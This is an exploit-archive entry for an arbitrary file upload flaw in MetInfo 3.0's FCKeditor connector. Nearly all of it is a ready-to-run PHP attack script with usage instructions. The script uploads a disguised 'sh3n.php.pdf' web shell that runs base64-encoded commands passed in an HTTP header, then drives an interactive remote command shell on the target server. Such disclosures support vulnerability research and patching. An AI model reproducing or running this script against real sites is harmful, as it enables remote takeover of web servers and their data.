MetInfo 3.0 – ‘FCKeditor’ Arbitrary File Upload
# Exploit Title: [MetInfo 3.0 (fckeditor) File Upload Exploit] # Date: [02-11-2010] # Author: [sh3n] # Software Link: [http://www.metinfo.cn/upload/file/metinfo3.0.zip] # Version: [3.0] # Tested on: [BT4 Ubuntu, Windows 7 Ultimate] # Exploit: <?php /* MetInfo 3.0 Arbitrary File Upload Exploit Vulnerable code metinfo.pe/fckeditor/editor/filemanager/connectors/php/upload.php POC=>metinfo.pe/fckeditor/editor/filemanager/connectors/uploadtest.html POC=>metinfo.pe/upload Upload your shell.php.pdf (spoof ext.) will saved into /upload dir. by sh3n http://guideshen.blogspot.com - @Guide_Shen - http://xsstorm.blogspot.com */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } print "\n+------------------------------------------------------------+"; print "\n| MetInfo 3.0 File Upload (fckeditor) sh3n |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 2) { print "\nUsage......: php $argv[0] metinfo.pe path"; print "\nExample....: php $argv[0] localhost /fckeditor/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $data = "--xSsT0rm\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh3n.php.pdf\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n"; $data .= "----xSsT0rm--\r\n"; $packet = "POST {$path}/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=xSsT0rm\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n"); else print "\n[-] Shell uploaded to {$html[2]}...have phun!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nsh3n-box# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}upload/{$html[3]} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $output = http_send($host, $packet); if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $output); print "\n{$shell[1]}"; } else break; } ?> |